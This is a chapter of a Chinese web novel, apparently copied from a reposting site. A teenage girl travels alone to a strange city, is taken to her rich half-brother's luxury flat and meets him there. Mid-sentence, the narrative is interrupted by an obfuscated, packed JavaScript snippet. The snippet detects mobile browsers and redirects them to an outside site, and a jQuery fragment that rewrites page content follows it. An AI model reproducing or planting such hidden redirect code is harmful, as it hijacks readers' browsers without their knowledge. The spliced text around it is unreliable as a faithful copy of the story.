缚他
文/玉山客
2025.5.16首发于晋江文学城
-
2014年的夏天。
八月初，多雨。
北禾老火车站附近的小卖部门口，林听夏放下电话，装作没看见老板明显不高兴的脸色，垂下眼，从校服兜里摸出一个硬币递过去，低声道了声谢，拿起放在一旁的雨伞撑开。
没走几步，想起男人在电话里让她待在原地不要走动。
林听夏又掉头回去，在小卖部老板莫名其妙的视线中，翻出裤兜里仅剩的两个硬币，都放在桌面上，拿走了两根棒棒糖。
坐了一天一夜的火车，屁股和腿酸痛得厉害，也顾不上脏不脏，林听夏剥掉糖纸，含着棒棒糖，看了眼头顶的监控，便抱着书包坐到门口未被雨水打湿的台阶上。
雨势不减，林听夏撑着伞望着路边来来往往的车辆和远处霓虹闪烁的街景，有一瞬间怀疑自己是不是在做梦，明明昨天她还在几千里之外的南渠，此时此刻却已经到了北禾。
可这里不同于南渠的街景和建筑，还有刚才的那通电话，都在告诉她是真的。
她不是在做梦。
过了一会，嚼完了一根棒棒糖，林听夏捧着脸望着来向的车辆，大约半个小时后，一辆白色奔驰在周围诡异地绕了两圈后停在路边。
车上下来一个年轻的女人，面容精致靓丽，穿着电视上职场女性的专业套装，脚踩高跟鞋，四处张望了会，目光定在她身上，径直朝她走了过来。
看着和男人口中的人不太像，林听夏想起电视上的法治新闻，皱了皱眉，站起来拍拍裤子，作势转身要走。
女人表情有些错愕，撑着雨伞很快追上来，急忙道：“听夏小姐，梁总让我过来接您。”
听见这句话，林听夏猛地停了下来。
雨幕下伞檐倾斜，林听夏撩起眼皮，露出一张长眉细眼秾艳又略显稚气的脸，乌发红唇，眼眸清亮，衬着她身后浓稠的夜色，令人惊艳之余又觉清冷幽森。
“梁总？”她开了口，语调有些奇怪。
周云不明所以，点点头，“是的，我刚接到梁总秘书的电话，让我到这接您。”
她拿出手机，找到秘书办刚刚发给她的资料，点开，比照着眼前的女生看了看。
照片上的女生留着长发，刘海压过眉梢，眼若点漆，唇线微抿，漂亮的脸蛋上写满了不好惹。
周云再次确定是眼前这个人没错，尤其是这双眼，清冷静默，在一个十五岁的女孩子身上很少见。
别说，和梁总还真挺像的。
不用她说，林听夏也看到了她手机里的自己。
她问：“你说的梁总是梁屿吗，桥梁的梁，岛屿的屿？”
周云听到这里，终于明白了那股不对劲是怎么回事，她笑着说，“是的，不好意思，怪我没说清楚，我说的梁总就是梁屿——您的哥哥。”
林听夏点点头，声音清淡：“我哥哥说是一个叫周云的人过来接我，方便给我看一下你的身份证吗？”
她伸出手。
周云愣了下，有点惊讶女生的警惕心，但看了看她这张脸，好像又有点明白了。
“您稍等下，我回车里去拿。”
几分钟后。
检查完周云的身份证，确定无误后，林听夏跟她走回停车处。
-
“所以，哥哥让你带我去哪里？”
林听夏坐在车里，系好安全带，静静地看向周云。
周云启动车子，挂了倒档，瞥着后视镜倒车：“梁总秘书让我把您送到市里的住处，等梁总回来处理后续的事，对了，我是秘书办的助理周云，您直接叫我周助理就好。”
林听夏抱紧背包，从善如流：“周助理，我哥哥，你叫他梁总是因为他是你老板吗？”
周云笑了下：“当然。”
林听夏问：“你们整个公司都是他的？”
周云回：“可以这么说。”
林听夏轻声说：“可我记得他的年纪也不大呀。”
看妈妈留给她的照片的年头，顶多也就比她大个十来岁，那也不到三十吧，就能做一个公司的大老板了？
周云笑了笑，没想到女生看着挺警惕老道的，说起话来却那么单纯可爱。
她边换档边说：“目前我在的公司是梁总全权在负责，这只是梁家集团旗下的一个公司，梁家家族庞大，不知道富了几代，从民国到现在，涉及到的行业产业众多，梁总作为梁家的长孙，肯定是要早些接触家里的生意。”
“……”
林听夏听明白了。
这大概就是所谓的含着金汤匙出生的人。
周云开车汇入主干道的车流，进入市区后遇上晚高峰，时不时需要停下等个红绿灯。
等下一个绿灯的间隙，周云抽空看了眼旁边安静望着窗外的林听夏。
刚刚中学毕业的女生身影单薄瘦弱，长手长脚的，像春天新抽芽的枝条。穿着白色T恤黑长裤，外面套着件宽大的校服外套，外套领口洗的发白，裤子也短了一截，露出纤细的踝骨，脚上的鞋子倒是名牌，但看着也是老款。
如果不是提前得知，她很难相信这是梁总的妹妹。
看样子又是一桩豪门秘辛。
作为一名合格的职场打工人，周云知道自己此时此刻最应该闭紧嘴巴。
三分钟后。
周云问：“听夏小姐，您是一个人坐火车来的北禾吗？”
“嗯。”
“从哪里来的呀？”
“南渠。”
“南渠？！”周云咂舌，“那么远，坐火车得好久吧？”
林听夏语气平淡，“二十三个小时。”
“一个人坐那么久的火车，您不害怕吗？”周云看了她一眼，说，“主要您还长得这么好看。”
林听夏平静地说：“还好。”
除了上厕所，其他的时间她都坐在位子上不走动，睡觉的时候分神抱着包，不理会任何人的搭话，到了北禾天色昏暗，打电话是找的女老板的商店。
所以这一路，还好。
不知是恭维，还是真的佩服她的胆量，周云说：“太厉害了，我像您这么大的时候，都不敢一个人出北禾。”
车子驶入市中心。
林听夏望着窗外一闪而逝的标志性建筑和长街，没再吭声。
可能是发现她没多大兴致聊天，周云也安静下来。
没多久，车载导航驶向一条没有出口的大道。
两侧店铺渐少，人影稀疏，路灯昏暗。
林听夏身体慢慢坐直。
她知道周云不会害她，只是在一个陌生的环境里，神经不由警觉起来。
周云仿佛没察觉到，边开车边笑着说：“前面就是梁总住的小区山川梅园，道路尽头封死，没车辆来往很安静，当初是我们公司和盛恒地产一同开发的，所以最佳位置的一套挂在梁总名下。”
说到这，她似吸了口气，艳羡道：“听说最小的户型都要九位数。”
“……”
林听夏下意识掰了掰手指，了然点头。
有钱人。
-
作为北禾顶级的豪宅，山川梅园外观简约质朴，内里却庄严精致，车子从进入小区到地下车库层层刷卡登记，小区巡逻队无一例外都是身强力壮的专业安保人员。
周云领着林听夏，从地下车库的电梯刷卡上楼。
进了屋，周云从鞋柜里拿出拖鞋递给她，问她饿不饿，要不要给她点个餐。
林听夏点点头，她出门匆忙，带的钱不多，上火车前只买了两包方便面垫肚子，从中午到现在都没有再进过食，路上肚子咕噜了几次，怕被听见，她一直伸手按着。
想起进入小区一路上的管控，林听夏不免好奇：“这里也能点外卖吗？”
周云说：“当然可以，楼下管家会负责送上来，不过小区内部有餐厅，您要是没有什么特别想吃的，我就在餐厅给您点。”
林听夏表示都行，她没什么忌口的。
周云走到吧台前环顾一圈，在柜子上找到一个平板电脑，操作了一番，同林听夏说：“我给您点了几道家常菜，大概二十分钟管家会送上来，您夜里想吃夜宵的话也可以在这上面点餐，餐厅二十四小时供应。”
果然是上了九位数的豪宅吗，连小区餐厅都是全天候营业服务。
林听夏攥着书包肩带，微微有些无言。
“其他的生活用品还有换洗的衣物，都已经让人准备好了，”周云放下平板，带着林听夏走到她的房间，简单地介绍了几句，说，“如果还有缺的，您也可以在平板电脑上联系保姆和管家，让她们给您准备。”
林听夏扫了几眼，把书包放在卧室的沙发上：“好的。”
出了卧室，周云看了眼腕表，说：“听夏小姐，如果您没其他事，我这边就先回去了。”
林听夏顺势瞥了眼，抬眸：“我没其他事，已经很晚了，你快回吧。”
周云走之前把进门的密码还有平板解锁密码写在笔记本上，连同门禁卡一起交给她。
林听夏送她到门口，问了句：“周助理，你知不知道我哥哥什么时候回来？”
周云换好鞋，转过身说：“梁总明天在港城还有个行业会议要参加，预计是明晚回北禾。”
林听夏点头，“好的我知道了，谢谢。”
周云笑着说：“没事应该的，那我先走了，您有什么事可以随时联系我。”
“好的。”
周云走后，林听夏在屋内转了一圈，回餐厅的时候险些迷路。
近九百平的大平层，带露天泳池，闹中取静，临江而立，日常有保姆打扫卫生，可以说是一尘不染。
屋里统一铺的暖色木质地板，绿植随处可见，冰箱里放着新鲜的水果，厨具也有使用过的痕迹，空气中弥漫着一股冷冽的雪松香气，干净通透，莫名就有种让人沉静放松下来的力量。
没一会儿，管家送来晚饭。
林听夏坐在堪比她家整个二楼的餐厅，吃了离开家后的第一顿饭，菜和汤都用保温的盘子装着，味道绝佳，她没忍住，添了两次饭。
等到洗完澡躺在床上的时候，肚子还胀胀的，很不舒服。
林听夏揉着小腹下床穿鞋，做完一整套广播体操，接了杯温水坐到落地窗边的地毯上。
窗外的雨不知何时停了。
林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669398|173078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听夏下巴搁在膝盖上，俯瞰着整座灯火通明的北禾，目光从远处宁静的江面流转到楼下的万家灯火，关于周云口中的梁总，在这一刻突然有了非常具象的感触。
那是她原本生活中，完全不敢想象能接触到的人。
这样的人居然是妈妈口中她可以信赖的哥哥。
现在想想，林听夏还是觉得有点不可思议。
果然，现实比戏剧更荒诞。
坐了一会，林听夏觉得有点冷，搓着胳膊回到床上，关灯，盖上凉被，闭上眼。
这一觉睡得并不踏实。
半梦半醒间，林听夏好像回到了南渠，刘家铭捂着头痛苦地倒在地上，她扔掉炸开的酒瓶，拎起书包要走，一转身，看见堂姐刘圆圆面无表情地站在她身后。
梦里火车摇摇晃晃，列车员推着小车走来走去，山川，湖泊，平原，江面，世界颠倒。
直到天边微微亮了起来，林听夏才昏昏沉沉睡了过去。
再醒来，已是午后。
窗外太阳高挂，薄薄的云雾里射出漫天的金光，穿过透明的玻璃窗洒落室内。
朝南的超大卧室，连通隔壁的衣帽间，春夏秋冬的衣服、鞋子分门别类放着。林听夏洗漱过后，挑了件短T和长裤换上，趿拉着拖鞋走出卧室。
一夜过去，肚子里的饭早已经消化完毕。
林听夏拿起平板解锁，点开餐厅订餐的界面，扫了眼菜单上的价格，默默地把平板放了回去，从包里翻出零钱，换鞋出门。
昨天来的路上，她看到小区附近的地铁口旁边有排店铺，离得不算远。
走了十多分钟，找到一家小饭馆，林听夏要了份青椒肉丝盖饭，吃完饭顺便问老板附近的菜市场在哪，买了几根葱，几个西红柿还有一袋挂面。
冰箱里有鸡蛋，她准备晚饭做个西红柿鸡蛋面。
-
下午一点多，正是盛夏里最热的时候。
烈日炎炎。林听夏撑着伞走在回小区的路上，感觉自己露在外面的手臂都要被烤焦。
上楼的时候，电梯里进来一个抱着篮球的男生，刷完卡，看到上边的楼层亮着，奇怪地看了她一眼。
电梯里只站着他们两个人。
林听夏拎着塑料袋站在角落里，察觉到这股目光，本来没想搭理。
没想到，对方看了一眼又一眼。
她撩起眼皮直直看过去，眼神不善。
男生愣了下，可能也是理亏，尴尬地摸了摸鼻子，转过脸，没有再看过来。
回到家，林听夏把西红柿、挂面放到冰箱里，洗了个苹果，盘着腿坐到沙发上打开电视，找电视剧消磨时间。
遥控器摁来摁去，最后还是停在每一年暑假固定重播的古装剧上。
在吵闹的电视背景声中，一下午的时光稍纵即逝，不知不觉间太阳落了山，橘红色的夕阳洒满天际。
林听夏打开冰箱，拿出两个鸡蛋两个西红柿，煎了蛋，西红柿洗干净切碎下锅，放了点调料，加水煮开，放入面条，搅拌两分钟，加入煎蛋，盖上盖子闷了一会。
家里出事后，她做饭做习惯了，味道还不错，用过饭后，把厨具、灶台清洗干净，林听夏才回到房间洗澡，吹完头发，换上睡衣，再次回到客厅的沙发上。
电视上正在播送新闻联播。
林听夏拿着遥控器换了几个台，没等她找好要看的，门口传来了动静。
她调低电视音量，外面密码锁“滴”的一声启动，紧跟着有人开门走进来，关上了门。
这个点。
意识到是谁回来后，林听夏眼睫轻轻颤了下，放下遥控器，站起来理了理头发和衣服，做了两个深呼吸，慢慢走过去。
玄关处没开灯，男人微微弓着身子，在换鞋。因为白天刚参加完一场行业会议，他穿着身正式考究的白色衬衫西装裤，系着深色领带，臂弯处搭着件同色系的西装外套，两条长腿包裹在熨帖笔直的黑色西装裤下，肩宽腿长，身形格外高大峻拔。
林听夏下意识往前走了一步。
男人换好鞋，听到声音，缓慢地转过身，掀起薄薄的眼皮，看了过来。
半明半暗的光线中，两人视线碰上。
几乎是看过去的第一眼。
林听夏就确定了眼前的男人是谁。
在此之前，她对梁屿的所有印象，只有妈妈留下的那张老照片上抱着婴儿时期她的漂亮小男孩，以及不久前电话里低沉如大提琴般醇厚的嗓音。
——哦，还有，有钱。
却没想到他这么年轻俊美。
乌黑利落的短发，额头宽阔饱满，浓密长眉，眼眸狭长锐利，鼻骨高挺，嘴唇偏薄，五官轮廓英气而硬朗，完全就是照片上漂亮小男孩的成熟版。只是眉宇间透着疏离，气质稍显冷漠，像是携着山巅清冷的云雾，带着种无形的压迫感和距离，令人不敢靠近。
四目相对。
气氛一时有些安静。
男人面色沉静，漆黑的眸光落在她身上，林听夏注意到，在她打量他的同时，他同样也在打量她，目光深邃而清透，仿佛能直视人心。
过了大概半分钟。
林听夏捏了捏手指，轻轻唤了声：“哥哥。”